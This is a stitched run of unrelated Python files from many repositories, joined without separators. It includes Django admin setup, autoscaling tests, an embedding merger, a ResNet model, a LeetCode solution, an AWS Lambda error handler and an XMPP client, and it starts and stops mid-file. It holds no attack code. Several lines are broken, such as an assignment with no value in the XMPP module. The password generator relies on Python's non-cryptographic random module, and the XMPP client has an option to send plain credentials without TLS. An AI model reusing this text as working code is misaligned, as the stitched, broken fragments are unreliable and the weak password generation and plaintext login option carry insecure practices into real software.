# close standard file descriptors # os.close(sys.stdin.fileno()) os.close(sys.stdout.fileno()) os.close(sys.stderr.fileno()) # place our log stream wrapper in place of the std file desciptors # sys.stdout = StdOutWrap(log) sys.stderr = StdErrWrap(log) # execute realmain # realmain(log, logdir, args, here, **kw) return 0 mtrgroup/django-mtr-utils from .manager import manager @manager.register('item', related='asd') def some_item_func(*args): return sum(args) @manager.register('request') def handler(data): return data * 2 from django.contrib import admin from mptt.admin import MPTTModelAdmin from .models import Project, Member, TaskKind, TaskDomain, Task, Task2Domain, Milestone, TaskLink, ScheduleItem, ScheduleItem_Task, Task_Property_Type, Task_Property_Amount admin.site.register( Project, list_display=[ "fullname", "active_flag", "private_type", "created_at", "created_user", "modified_at", "modified_user", ],) admin.site.register( Member, list_display=[ "member_profile", "project", "admin_flag", ] ) admin.site.register( TaskKind, list_display=[ "name", ] ) admin.site.register(TaskDomain, MPTTModelAdmin) admin.site.register( Task, list_display=[ "fullname", "project", "kind", "created_at", "created_user", "modified_at", "modified_user", "finished_fact_at", "important", ] ) admin.site.register( Milestone, ) admin.site.register( TaskLink, list_display=[ "maintask", "subtask", ], ) admin.site.register( Task2Domain, list_display=[ "taskdomain", "task", ], ) admin.site.register( ScheduleItem, list_display=[ "schedule_date_start", "schedule_date_end", "schedule_profile", ], ) admin.site.register( ScheduleItem_Task, list_display=[ "schedule_item", "scheduledtask", ], ) admin.site.register( Task_Property_Type, list_display=[ "name", "physical_property", ], ) admin.site.register( Task_Property_Amount, list_display=[ "property", "task", "amount", ], )reismarcelo/sastre10-100 """ Sastre - Automation Tools for Cisco SD-WAN Powered by Viptela cisco_sdwan.tasks.implementation This module contains the implementation of user-facing tasks """ from ._backup import TaskBackup, BackupArgs from ._restore import TaskRestore, RestoreArgs from ._delete import TaskDelete, DeleteArgs from ._migrate import TaskMigrate, MigrateArgs from ._attach_detach import TaskAttach, TaskDetach, AttachVsmartArgs, AttachEdgeArgs, DetachVsmartArgs, DetachEdgeArgs from ._transform import TaskTransform, TransformCopyArgs, TransformRenameArgs, TransformRecipeArgs __all__ = [ 'TaskBackup', 'TaskRestore', 'TaskDelete', 'TaskMigrate', 'TaskAttach', 'TaskDetach', 'TaskTransform', 'BackupArgs', 'RestoreArgs', 'DeleteArgs', 'MigrateArgs', 'AttachVsmartArgs', 'AttachEdgeArgs', 'DetachVsmartArgs', 'DetachEdgeArgs', 'TransformCopyArgs', 'TransformRenameArgs', 'TransformRecipeArgs' ] bin/get_missing.py import sys import pickle import gzip import os import argparse import numpy as np def read_embedding_file(embedding_file): """ read embedding file into a dictionary deals with GloVe or w2v format as well as pickled dict with single entries """ embeddings = {} # pickled dict if embedding_file.endswith('.pkl'): embeddings = np.load(embedding_file) first_array = embeddings.values()[0] if type(first_array):# == list and len(first_array) > 1: embeddings = {k: v[0] for k, v in embeddings.iteritems()} return embeddings # glove or w2v non compressed format with open(embedding_file, 'r') as f: line = f.readline() if len(line.split()) > 2: w, v = line.split(' ', 1) v = np.fromstring(v, sep=' ') embeddings[w] = v for line in f: try: w, v = line.split(' ', 1) except: print w, v v = np.fromstring(v, sep=' ') embeddings[w] = v return embeddings if __name__ == "__main__": parser = argparse.ArgumentParser(description='Merge 2 embedding files') parser.add_argument('embedding_1', type=str, help='First embedding file with missing entries') parser.add_argument('embedding_2', type=str, help='Second embedding file') parser.add_argument('--restricted', action='store_true', help="Only replace values from embedding_2 by values " "from embedding 1") parser.add_argument('output', type=str, help='Output embedding file') args = parser.parse_args() print "read first file {}".format(args.embedding_1) embeddings = read_embedding_file(args.embedding_1) print "read second file {}".format(args.embedding_2) embeddings_complement = read_embedding_file(args.embedding_2) print "merging" # merge the 2 embeddings with the first having priority if not args.restricted: embeddings_complement.update(embeddings) embeddings = embeddings_complement else: new_embeddings = {} for k, v in embeddings_complement.iteritems(): e = embeddings.get(k, None) if e is not None: new_embeddings[k] = e else: new_embeddings[k] = v embeddings = new_embeddings with open(args.output, 'w') as f: for key, e in embeddings.iteritems(): line = key + " " line += ' '.join([str(i) for i in e]) f.write(line + '\n') import random, string, hashing def generate(): requirements = input('1.Letter & Number characters \n2.Letter, Number & Special characters \nWhat type of password do you need:') length = input('How many characters does the password need to be:') if requirements == '1': password_characters = string.ascii_letters + string.digits plain_text_password = ''.join(random.choice(password_characters) for i in range(int(length))) return(plain_text_password) elif requirements == '2': password_characters = string.ascii_letters + string.digits + string.punctuation plain_text_password = ''.join(random.choice(password_characters) for i in range(int(length))) return(plain_text_password)0 # -*- coding: utf-8 -*- # pylint: disable=cyclic-import,reimported,unused-import,wrong-import-position """Module with CLI commands for the various calculation job implementations.""" from .. import cmd_root @cmd_root.group('calculation') def cmd_calculation(): """Commands to launch and interact with calculations.""" @cmd_calculation.group('launch') def cmd_launch(): """Launch calculations.""" # Import the sub commands to register them with the CLI from .cp import launch_calculation from .dos import launch_calculation from .epw import launch_calculation from .matdyn import launch_calculation from .neb import launch_calculation from .ph import launch_calculation from .pp import launch_calculation from .projwfc import launch_calculation from .pw2wannier90 import launch_calculation from .pw import launch_calculation from .q2r import launch_calculation leetcode/161.one-edit-distance.py class Solution(object): def isOneEditDistance(self, s, t): """ :type s: str :type t: str :rtype: bool """ if len(s) - len(t) == 0: diff = 0 for i in range(len(s)): if s[i] != t[i]: diff += 1 if diff > 1: break return diff == 1 if abs(len(s) - len(t)) == 1: small = t if len(s) > len(t) else s large = t if len(s) < len(t) else s diff = 0 for i in range(len(large)): if i - diff >= len(small) or small[i - diff] != large[i]: diff += 1 if diff > 1: break return diff == 1 return False""" System tests for execute updated policies """ from test_repo.autoscale.fixtures import AutoscaleFixture from time import sleep class ExecuteUpdatedPoliciesTest(AutoscaleFixture): """ System tests to verify execute updated scaling policies scenarios, such that each policy executes after policy cooldown is met """ def setUp(self): """ Create a scaling group with min entities>0, scale up with cooldown=1 second and execute the policy """ super(ExecuteUpdatedPoliciesTest, self).setUp() self.cooldown = 1 self.create_group_response = self.autoscale_behaviors.create_scaling_group_given( gc_min_entities=self.gc_min_entities_alt, gc_cooldown=0) self.group = self.create_group_response.entity self.policy_up = {'change': 2, 'cooldown': self.cooldown} self.policy = self.autoscale_behaviors.create_policy_webhook( group_id=self.group.id, policy_data=self.policy_up, execute_policy=True) self.resources.add(self.group.id, self.autoscale_client.delete_scaling_group) def tearDown(self): """ Emptying the scaling group by updating minentities=maxentities=0, which is then deleted by the Autoscale fixture's teardown """ super(ExecuteUpdatedPoliciesTest, self).tearDown() self.empty_scaling_group(self.group) def test_system_update_policy_from_change_to_desired_capacity_scale_down(self): """ Update the existing scale up policy from change to desired capacity, dc set to minentities so that the policy when executed scales down """ upd_desired_capacity = self.group.groupConfiguration.minEntities sleep(self.cooldown) upd_policy_to_desired_capacity_execute = self._update_execute_policy_dc( self.group.id, self.policy['policy_id'], upd_desired_capacity) self.assertEquals(upd_policy_to_desired_capacity_execute, 202, msg='Executing the updated policy with desired capacity failed with {0}' ' for group {1}' .format(upd_policy_to_desired_capacity_execute, self.group.id)) self.autoscale_behaviors.wait_for_expected_number_of_active_servers( group_id=self.group.id, expected_servers=self.group.groupConfiguration.minEntities) def test_system_update_policy_from_change_to_desired_capacity_scale_up(self): """ Update the existing scale up policy from change to desired capacity, such that the policy when executed scales up """ upd_desired_capacity = self.group.groupConfiguration.minEntities + \ self.policy_up['change'] + 1 sleep(self.cooldown) upd_policy_to_desired_capacity_execute = self._update_execute_policy_dc( self.group.id, self.policy['policy_id'], upd_desired_capacity) self.assertEquals(upd_policy_to_desired_capacity_execute, 202, msg='Executing the updated policy with desired capacity failed with {0}' ' for group {1}' .format(upd_policy_to_desired_capacity_execute, self.group.id)) self.autoscale_behaviors.wait_for_expected_number_of_active_servers( group_id=self.group.id, expected_servers=upd_desired_capacity) def test_system_update_policy_desired_capacity(self): """ Update a scale up via 'change', to a scale down policy via 'desiredCapacity', with desiredCapacity set to be less than minentities and execute the policy. (results in active servers=minentities) Update the desired capacity to scale up by setting desired capacity > maxentities and execute. (Results in active servers = maxentities in the scaling group) """ upd_desired_capacity = self.group.groupConfiguration.minEntities - 1 sleep(self.cooldown) upd_policy_to_desired_capacity_execute = self._update_execute_policy_dc( self.group.id, self.policy['policy_id'], upd_desired_capacity) self.assertEquals(upd_policy_to_desired_capacity_execute, 202, msg='Executing the updated policy with desired capacity failed with {0}' ' for group {1}' .format(upd_policy_to_desired_capacity_execute, self.group.id)) upd_desired_capacity = self.group.groupConfiguration.maxEntities + 1 sleep(self.cooldown) upd_policy_to_desired_capacity_execute = self._update_execute_policy_dc( self.group.id, self.policy['policy_id'], upd_desired_capacity) self.assertEquals(upd_policy_to_desired_capacity_execute, 202, msg='Executing the updated policy with desired capacity failed with {0}' ' for group {1}' .format(upd_policy_to_desired_capacity_execute, self.group.id)) self.autoscale_behaviors.wait_for_expected_number_of_active_servers( group_id=self.group.id, expected_servers=self.group.groupConfiguration.maxEntities) def test_system_update_scale_up_to_scale_down(self): """ Update a scale up policy to scale down by the same change and execute such a policy to result in active servers = minentities on the scaling group """ change = - self.policy_up['change'] sleep(self.cooldown) upd_to_scale_down_execute = self._update_execute_policy( self.group.id, self.policy['policy_id'], change) self.assertEquals(upd_to_scale_down_execute, 202, msg='Executing the updated scale down policy failed with {0} for group {1}' .format(upd_to_scale_down_execute, self.group.id)) self.autoscale_behaviors.wait_for_expected_number_of_active_servers( group_id=self.group.id, expected_servers=self.group.groupConfiguration.minEntities) def test_system_update_minentities_and_scale_down(self): """ Create a scaling group with min entities > 0, scale up (setup) update new_minentities to be 1, verify active servers = minentities+scale up. Execute scale down with change = new_minenetities and verify scale down """ new_minentities = 1 self.autoscale_client.update_group_config( group_id=self.group.id, name=self.group.groupConfiguration.name, cooldown=self.group.groupConfiguration.cooldown, min_entities=new_minentities, max_entities=self.group.groupConfiguration.maxEntities, metadata={}) self.autoscale_behaviors.wait_for_expected_number_of_active_servers( group_id=self.group.id, expected_servers=self.group.groupConfiguration.minEntities + self.policy_up['change']) change = - (self.policy_up[ 'change'] + self.group.groupConfiguration.minEntities) + 1 sleep(self.cooldown) upd_to_scale_down_execute = self._update_execute_policy( self.group.id, self.policy['policy_id'], change) self.assertEquals(upd_to_scale_down_execute, 202, msg='Executing the updated scale down policy failed with {0} for group {1}' .format(upd_to_scale_down_execute, self.group.id)) self.autoscale_behaviors.wait_for_expected_number_of_active_servers( group_id=self.group.id, expected_servers=new_minentities) def _update_execute_policy_dc(self, group_id, policy_id, policy_data): """ Updates any given policy to desired capacity and executes the policy. Returns the response code of the updated policy's execution """ get_policy = self.autoscale_client.get_policy_details( group_id, policy_id) policy_b4_update = get_policy.entity self.autoscale_client.update_policy( group_id=group_id, policy_id=policy_id, name=policy_b4_update.name, cooldown=policy_b4_update.cooldown, desired_capacity=policy_data, policy_type=policy_b4_update.type) execute_upd_policy = self.autoscale_client.execute_policy( group_id, policy_id) return execute_upd_policy.status_code def _update_execute_policy(self, group_id, policy_id, policy_data): """ Updates any given policy to change and executes the policy. Returns the response code of the updated policy's execution """ get_policy = self.autoscale_client.get_policy_details( group_id, policy_id) policy_b4_update = get_policy.entity self.autoscale_client.update_policy( group_id=group_id, policy_id=policy_id, name=policy_b4_update.name, cooldown=policy_b4_update.cooldown, change=policy_data, policy_type=policy_b4_update.type) execute_upd_policy = self.autoscale_client.execute_policy( group_id, policy_id) return execute_upd_policy.status_code ministryofjustice/mtp-api from django.contrib import admin from service.models import Downtime, Notification @admin.register(Downtime) class DowntimeAdmin(admin.ModelAdmin): list_display = ('service', 'start', 'end', 'message_to_users') list_filter = ('service',) @admin.register(Notification) class NotificationAdmin(admin.ModelAdmin): list_display = ('headline', 'target', 'level', 'start', 'end') list_filter = ('target', 'level') """ GMail! Woo! """ __title__ = 'gmail' __version__ = '0.1' __author__ = '' __build__ = 0x0001 __license__ = 'Apache 2.0' __copyright__ = 'Copyright 2013 ' from .gmail import Gmail from .mailbox import Mailbox from .message import Message from .utils import login, authenticate print(''' distance speed = -------- Time ''') print("") print(''' distance Time = -------- Speed ''') print(''' distance = speed x Time ''') print(''' -------------------------------------------------------------------------------- |NOTE| To open CMS again write CMS. -------------------------------------------------------------------------------- ''') while True: a = input("What to find out? :") if "speed" in a or "s" in a or "Speed" in a: distance = int(input("Distance:")) time = int(input("Time:")) print("Speed = ", distance / time) elif "Time" in a or "t" in a or "time" in a: dis = int(input("Distance: ")) spe = int(input("Speed: ")) print("Time = ", dis / spe) elif "distance" in a or "d" in a or "Distance" in a: s = int(input("Speed: ")) t = int(input("Time: ")) print("Distance = ", s * t) elif "CMS." in a or "CMS" in a or "cms." in a or "cms" in a or "Cms" in a or "Cms." in a: from subprocess import * Popen('python Program.py') quit else: print("Not, recognized.")import json import boto3 from aws_embedded_metrics import metric_scope from data.dao.ssmdao import SsmDao from utils.logging import LoggingUtils from utils.utils import Utils log = LoggingUtils.configure_logging(__name__) sns = boto3.client('sns') ssm = SsmDao(boto3.client('ssm')) STACKTRACE = 'stacktrace' OS = 'os' COMMAND = 'command' VERSION = 'version' ERROR_TOPIC_SSM_KEY = '/figgy/resources/sns/error-topic/arn' REQUIRED_PROPERTIES = [STACKTRACE, OS, COMMAND] ERROR_TOPIC_ARN = ssm.get_parameter(ERROR_TOPIC_SSM_KEY) @metric_scope def publish_error_metric(platform: str, version: str, metrics): metrics.set_namespace("figgy") metrics.put_dimensions({"Version": version, "Platform": platform}) metrics.set_namespace("figgy") metrics.put_metric('error', 1, "Count") def handle(event, context): body = json.loads(event.get('body')) log.info(f'Got request with body: {body}') stacktrace = body.get(STACKTRACE) os = body.get(OS) version = body.get(VERSION) command = body.get(COMMAND) Utils.validate(stacktrace and os and command, f"These JSON properties are required: {REQUIRED_PROPERTIES}") publish_error_metric(platform=os, version=version) sns.publish( TopicArn=ERROR_TOPIC_ARN, Message=f'Version: {version}\nOS: {os}\n\n Stacktrace:\n\n{stacktrace}', Subject=f'Error detected for command: {command}'[:100] ) return {"statusCode": 200, "body": "Error logged successfully."} # implement of resnet34 import torch as t import torch.nn as nn from torch.autograd import Variable as V import torchvision import torch.nn.functional as F import torchsummary from config import parsers opt = parsers() class ResidualBlock(nn.Module): def __init__(self,in_feature,out_feature,stride=1,shortcut=None): super(ResidualBlock,self).__init__() self.left = nn.Sequential( nn.Conv2d(in_feature,out_feature,kernel_size=3,stride=stride,padding=1,bias=False), nn.BatchNorm2d(out_feature), nn.ReLU(), #这里也是两个out nn.Conv2d(out_feature,out_feature,kernel_size=3,stride=1,padding=1,bias=False), nn.BatchNorm2d(out_feature), ) self.right = shortcut def forward(self,x): out = self.left(x) residual = x if self.right is None else self.right(x) out += residual return F.relu(out) pass class ResNet18(nn.Module): # 在init里面，定义模型内部的结构 def __init__(self,num_classes): super(ResNet18,self).__init__() self.pre = nn.Sequential( nn.Conv2d(3,64,7,2,3), nn.BatchNorm2d(64), nn.ReLU(inplace=True), nn.MaxPool2d(3,2,1) ) self.layer1 = self._make_layer(64,128,2) self.layer2 = self._make_layer(128,256,2,stride=2) self.layer3 = self._make_layer(256,512,2,stride=2) self.layer4 = self._make_layer(512,512,2,stride=2) self.fc = nn.Linear(512,num_classes) def _make_layer(self,in_feature,out_feature,block_num,stride=1): shortcut = nn.Sequential(nn.Conv2d(in_feature,out_feature,1,stride), nn.BatchNorm2d(out_feature)) layer_list = [] layer_list.append(ResidualBlock(in_feature,out_feature,stride,shortcut)) for i in range(1,block_num): # 这里的两个输出通道是一样的 layer_list.append(ResidualBlock(out_feature,out_feature)) return nn.Sequential(*layer_list) pass def forward(self,x): x = self.pre(x) x = self.layer1(x) x = self.layer2(x) x = self.layer3(x) x = self.layer4(x) x = F.avg_pool2d(x,7) # fc之前的平均pool x = x.view(x.size()[0],-1) x = self.fc(x) #x = x>opt.irr_max?opt.irr_max:x #x = xEndika/dlen """Dlen class.""" import argparse import io import os import re class DefLen(object): """Def count lines.""" function_name = None class_name = None class_count = 0 count = 0 function_tab = 0 class_tab = 0 class_blank_lines = 2 blank_lines = 2 warn_line_per_function = 12 error_line_per_function = 20 error_line_per_class = 500 line = '' filename = '' output = [] show_console = False def _process_print(self, status, number, function=True): type_msg = 'function' if function else 'class' name_msg = self.function_name if function else self.class_name count = self.count if function else self.class_count filename = ' \'{}\''.format(self.filename) if self.filename else '' msg = '[{}]{} {} {} too long ({} > {} lines)'.format( status, filename, name_msg, type_msg, count, number) self.output.append(msg) if self.show_console: print(msg) def _print_def_resume(self): number = self.warn_line_per_function if self.function_name and self.count > number: status = 'WARN' if self.count > self.error_line_per_function: number = self.error_line_per_function status = 'ERROR' self._process_print(status, number) def _print_class_resume(self): number = self.error_line_per_class if self.class_name and self.class_count > number: status = 'ERROR' self._process_print(status, number, function=False) def _reset_count(self, function=True): if function: self.function_name = None self.count = 0 self.blank_lines = 2 else: self.class_name = None self.class_count = 0 self.class_blank_lines = 2 def detect_function(self): """Detect def.""" result_lts = re.findall(re.compile(br'def(.*?)\('), self.line) if ((result_lts) or (self.function_name and self.blank_lines == 0)): self._print_def_resume() self._reset_count() if 'def' in self.line: self.function_tab = self.line.index('def') if result_lts: self.function_name = result_lts[0].strip() return True return False def detect_class(self): """Detect def.""" result_lts = re.findall(re.compile(br'class(.*?)\('), self.line) if ((result_lts) or (self.class_name and self.class_blank_lines == 0)): self._print_class_resume() self._reset_count(function=False) if 'class' in self.line: self.class_tab = self.line.index('class') if result_lts: self.class_name = result_lts[0].strip() return True return False def get_current_tab(self): """Get current tab.""" current_tab = 0 for i in self.line: if i in [' ', '\t']: current_tab += 1 else: break return current_tab def create_parser(self): """Simple parser argument.""" parser = argparse.ArgumentParser( description='Dlen checks the length of the functions') parser.add_argument( 'files', nargs='*', help=('One or more Python source files that need their ' 'functions checks.')) return vars(parser.parse_args()) def iter_source_code(self, paths, file_lts=[]): """Iterate over all Python source files defined in paths.""" for path in paths: if os.path.isdir(path): for dirpath, dirnames, filenames in os.walk( path, topdown=True): for filename in filenames: if filename.endswith('.py'): file_lts.append(os.path.join(dirpath, filename)) else: file_lts.append(path) return file_lts def check_function(self, current_tab): """Check function.""" if not self.detect_function(): if self.function_tab < current_tab: self.count += 1 self.blank_lines = 2 elif self.function_name: self.blank_lines -= 1 def check_class(self, current_tab): """Check class.""" if not self.detect_class(): if self.class_tab < current_tab: self.class_count += 1 self.class_blank_lines = 2 elif self.class_name: self.class_blank_lines -= 1 def process_line(self, line): """Process line.""" self.line = str(line) # Patch to work on py3 and py2 current_tab = self.get_current_tab() self.check_function(current_tab) self.check_class(current_tab) def _run_import_mode(self, files_content): for file_txt in files_content: for line in file_txt.split('\n'): self.process_line(line) def _run_cli_mode(self, files_content): self.show_console = True data = self.create_parser() for file in self.iter_source_code(data['files']): self.filename = file with io.open(file, 'rb') as f: for line_number, line in enumerate(f, 1): self.process_line(line) def __init__(self, files_content=None): """Init.""" if files_content: self._run_import_mode(files_content) else: self._run_cli_mode(files_content) def main(): """Run in command line.""" DefLen() controller/modules/XmppClient.py # ipop-project # Copyright 2016, University of Florida # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import sys import ssl import json import time from controller.framework.ControllerModule import ControllerModule from collections import defaultdict try: import sleekxmpp from sleekxmpp.xmlstream.stanzabase import ElementBase, JID from sleekxmpp.xmlstream import register_stanza_plugin from sleekxmpp.xmlstream.handler.callback import Callback from sleekxmpp.xmlstream.matcher import StanzaPath from sleekxmpp.stanza.message import Message except: raise ImportError("Sleekxmpp Module not installed") py_ver = sys.version_info[0] if py_ver == 3: from queue import Queue import _thread as thread else: from Queue import Queue import thread log_level = "info" class XmppClient(ControllerModule): def __init__(self, CFxHandle, paramDict, ModuleName): ControllerModule.__init__(self, CFxHandle, paramDict, ModuleName) self.presence_publisher = None self.ipop_xmpp_details = {} self.keyring_installed = False #self.pending_CBTQ = {} # Triggered at start of XMPP session def start(self, event): try: for xmpp_detail in list(self.ipop_xmpp_details.values()): # Check whether Callback functions are configured for XMPP server messages if xmpp_detail["callbackinit"] is False: xmpp_detail["callbackinit"] = True xmpp_detail["XMPPObj"].get_roster() # Obtains the friends list for the user xmpp_detail["XMPPObj"].send_presence(pstatus="uid_is#"+xmpp_detail["uid"]) # Sends presence message when the XMPP user is online # Event to capture all online peer nodes as seen by the XMPP server xmpp_detail["XMPPObj"].add_event_handler("presence_available", self.handle_presence) # Register IPOP message with the server register_stanza_plugin(Message, IpopMsg) xmpp_detail["XMPPObj"].registerHandler(Callback('Ipop', StanzaPath('message/Ipop'), self.xmppmessagelistener)) except Exception as err: self.log("Exception in XMPPClient:{0} Event:{1}".format(err, event), severity="error") # Callback Function to keep track of Online XMPP Peers def handle_presence(self, presence): #try: presence_sender = presence['from'] presence_receiver_jid = JID(presence['to']) presence_receiver = str(presence_receiver_jid.user)+"@"+str(presence_receiver_jid.domain) status = presence['status'] for interface, xmpp_details in self.ipop_xmpp_details.items(): # Check whether the Receiver JID belongs to the XMPP Object of the particular virtual network, # If YES update JID-UID table if presence_receiver == xmpp_details["username"] and presence_sender != xmpp_details["XMPPObj"].boundjid\ .full: if (status != "" and "#" in status): p_type, uid = status.split('#') if (p_type=="uid_is"): self.presence_publisher.PostUpdate(dict(uid_notification=uid, interface_name=interface)) self.log("UID {0} received from {1}".format(uid,presence_sender), severity=log_level) elif (p_type == "uid?"): if (xmpp_details["uid"]==uid): xmpp_details["XMPPObj"].send_presence(pstatus="jid_uid#" + xmpp_details["uid"]+"#"+ xmpp_details["XMPPObj"].boundjid.full) setup_load = "UID_MATCH" + "#" + "None" + "#" + str(presence_sender) msg_load = xmpp_details["XMPPObj"].boundjid.full+"#"+xmpp_details["uid"] self.sendxmppmsg(presence_sender, xmpp_details["XMPPObj"], setup_load, msg_load) self.log("UID {0} matched, replied to {1}".format(uid, presence_sender), "debug") else: self.log("UID {0} request received from {1}".format(uid, str(presence_sender)), "debug") #except Exception as err: #self.log("Exception caught in XmppClient handle_presence method : {0}".format(err), severity="error") def arp_uid(self,xmppobj , who_has_uid): xmppobj.send_presence(pstatus="uid?#"+who_has_uid) # This handler method listens for the matched messages on the xmpp stream, # extracts the setup and payload and takes suitable action depending on the # them. def xmppmessagelistener(self, msg): receiver_jid = JID(msg['to']) sender_jid = msg['from'] receiver = str(receiver_jid.user) + "@" + str(receiver_jid.domain) interface_name, xmppobj = "", None self.log("RECEIVED MESSAGE MSG {} ".format(msg), "debug") # Iterate across the XMPPClient module table to find the TapInterface for the XMPP server message for tapName, xmpp_details in list(self.ipop_xmpp_details.items()): if receiver == xmpp_details["username"]: xmppobj = xmpp_details interface_name = tapName break # check whether Server Message has a matching key in the XMPP Table if not stop processing if xmppobj is None: return # Check whether Node UID obtained from CFX if xmppobj["uid"] == "": self.log("UID not received from Tincan. Please check Tincan logs.", severity="warning") return # Check whether the message was initiated by the node itself if YES discard it if sender_jid == xmppobj["XMPPObj"].boundjid.full: return # extract setup and content setup = msg['Ipop']['setup'] payload = msg['Ipop']['payload'] msg_type, target_uid, target_jid = setup.split("#") self.log("RECEIVED MESSAGE setup {} payload {}".format(setup,payload),"debug") if msg_type == "regular_msg": self.log("Received regular mesage from {0}".format(msg['from']), severity=log_level) self.log("Msg is {0}".format(payload), severity="debug") elif msg_type == "UID_MATCH": # This type does not contains target uid match_jid,matched_uid = payload.split("#") self.log("UID match received from JID {} for UID {}".format(match_jid,matched_uid),"debug") # complete all pending CBTs #CBTQ = self.pending_CBTQ[matched_uid] CBTQ = self.ipop_xmpp_details[interface_name]["pending_CBTQ"][matched_uid] self.log("Type CBTQ {} ".format(type(CBTQ)), "debug") self.log("CBTQ {} ".format(CBTQ),"debug") while not CBTQ.empty(): cbt = CBTQ.get() self.log("cbt {}".format(cbt),"debug") setup_load = "FORWARDED_CBT" + "#" + "None" + "#" + match_jid msg_payload = json.dumps(cbt) self.sendxmppmsg(match_jid,xmppobj["XMPPObj"],setup_load,msg_payload) self.log("sent out pending cbt for UID {}".format(matched_uid), "debug") return elif msg_type == "FORWARDED_CBT": self.log("____________________HERE-6__________________", "debug") # does not contains target uid payload = json.loads(payload) self.log("payload {}".format(payload), "debug") self.log("____________________HERE-7__________________", "debug") dest_module = payload["dest_module"] self.log("____________________HERE-8__________________", "debug") src_uid = payload["sender_uid"] action = payload["action"] cbtdata = dict(uid=src_uid,data=payload['core_data'],interface_name = interface_name) self.log("cbtdata {}".format(cbtdata),"debug") self.registerCBT(dest_module, action, cbtdata, _tag=src_uid) self.log("Received forwarded CBT from {}".format(sender_jid),"debug") return # Send message to Peer JID via XMPP server def sendxmppmsg(self, peer_jid, xmppobj, setup_load=None, msg_payload=None): if setup_load is None: setup_load = "regular_msg" + "#" + "None" + "#" + peer_jid.full if py_ver != 3: setup_load = unicode(setup_load) if msg_payload is None: content_load = "Hello there this is {0}".format(xmppobj.username) else: content_load = msg_payload msg = xmppobj.Message() msg['to'] = peer_jid msg["from"] = xmppobj.boundjid.full msg['type'] = 'chat' msg['Ipop']['setup'] = setup_load msg['Ipop']['payload'] = content_load msg.send() self.log("Sent XMPP message to {0}".format(peer_jid), severity=log_level) def xmpp_handler(self, xmpp_details, xmppobj): try: if xmppobj.connect(address=(xmpp_details["AddressHost"], xmpp_details["Port"])): thread.start_new_thread(xmppobj.process, ()) self.log("Started XMPP handling", severity="debug") except Exception as err: self.log("Unable to start XMPP handling thread-Check Internet connectivity/credentials."+str(err), severity='error') def log(self, msg, severity='info'): self.registerCBT('Logger', severity, msg) def initialize(self): try: import keyring self.keyring_installed = True except: self.registerCBT("Logger", "info", "Key-ring module not installed.") xmpp_details = self.CMConfig.get("XmppDetails") self.presence_publisher = self.CFxHandle.PublishSubscription("PEER_PRESENCE_NOTIFICATION") xmpp_password = # Iterate over the XMPP credentials for different virtual networks configured in ipop-config.json for i, xmpp_ele in enumerate(xmpp_details): xmpp_ele = dict(xmpp_ele) interface_name = xmpp_ele['TapName'] self.ipop_xmpp_details[interface_name] = {} # Check whether the authentication mechanism is certifcate if YES then config file should not contain # Password based authentication parameters if xmpp_ele.get("AuthenticationMethod") == "x509" and (xmpp_ele.get("Username", None) is not None or xmpp_ele.get("Password", None) is not None): raise RuntimeError("x509 Authentication Error: Username/Password in IPOP configuration file.") # Check the Authentication Method configured for the particular virtual network interface if xmpp_ele.get("AuthenticationMethod") == "x509": xmppobj = sleekxmpp.ClientXMPP(None, None, sasl_mech='EXTERNAL') xmppobj.ssl_version = ssl.PROTOCOL_TLSv1 xmppobj.ca_certs = xmpp_ele["TrustStore"] xmppobj.certfile = xmpp_ele["CertDirectory"] + xmpp_ele["CertFile"] xmppobj.keyfile = xmpp_ele["CertDirectory"] + xmpp_ele["Keyfile"] xmppobj.use_tls = True else: # Authentication method is Password based hence check whether XMPP username has been provided in the # ipop configuration file if xmpp_ele.get("Username", None) is None: raise RuntimeError("Authentication Error: Username not provided in IPOP configuration file.") # Check whether the keyring module is installed if yes extract the Password if self.keyring_installed is True: xmpp_password = keyring.get_password("", xmpp_ele['Username']) # Check whether the Password exists either in Config file or inside Keyring if xmpp_ele.get("Password", None) is None and xmpp_password is None: print("Authentication Error: Password not provided for XMPP " "Username:{0}".format(xmpp_ele['Username'])) # Prompt user to enter password print("Enter Password: ",) if py_ver == 3: xmpp_password = str(input()) else: xmpp_password = str(raw_input()) xmpp_ele['Password'] = xmpp_password # Store the userinput in the internal table if self.keyring_installed is True: try: # Store the password inside the Keyring keyring.set_password("", xmpp_ele['Username'], xmpp_password) except Exception as error: self.registerCBT("Logger", "error", "unable to store password in keyring.Error: {0}" .format(error)) xmppobj = sleekxmpp.ClientXMPP(xmpp_ele['Username'], xmpp_ele['Password'], sasl_mech='PLAIN') # Check whether Server SSL Authenication required if xmpp_ele.get("AcceptUntrustedServer") is True: xmppobj.register_plugin("feature_mechanisms", pconfig={'unencrypted_plain': True}) xmppobj.use_tls = False else: xmppobj.ca_certs = xmpp_ele["TrustStore"] # Register event handler for session start and Roster Update in case a user gets unfriended xmppobj.add_event_handler("session_start", self.start) self.ipop_xmpp_details[interface_name]["XMPPObj"] = xmppobj # Store the Sleekxmpp object in the Table self.ipop_xmpp_details[interface_name]["pending_CBTQ"] = {} # map for holding pending cbt data to be forwarded # Store XMPP UserName (required to extract TapInterface from the XMPP server message) self.ipop_xmpp_details[interface_name]["username"] = xmpp_ele["Username"] # Flag to check whether the XMPP Callback for various functionalities have been set self.ipop_xmpp_details[interface_name]["callbackinit"] = False # Query VirtualNetwork Interface details from TincanInterface module ipop_interfaces = self.CFxHandle.queryParam("TincanInterface", "Vnets") # Iterate over the entire VirtualNetwork Interface List for interface_details in ipop_interfaces: # Check whether the TapName given in the XMPPClient and TincanInterface module if yes load UID if interface_details["TapName"] == interface_name: self.ipop_xmpp_details[interface_name]["uid"] = interface_details["uid"] # Connect to the XMPP server self.xmpp_handler(xmpp_ele, xmppobj) self.log("{0} module Loaded".format(self.ModuleName)) def 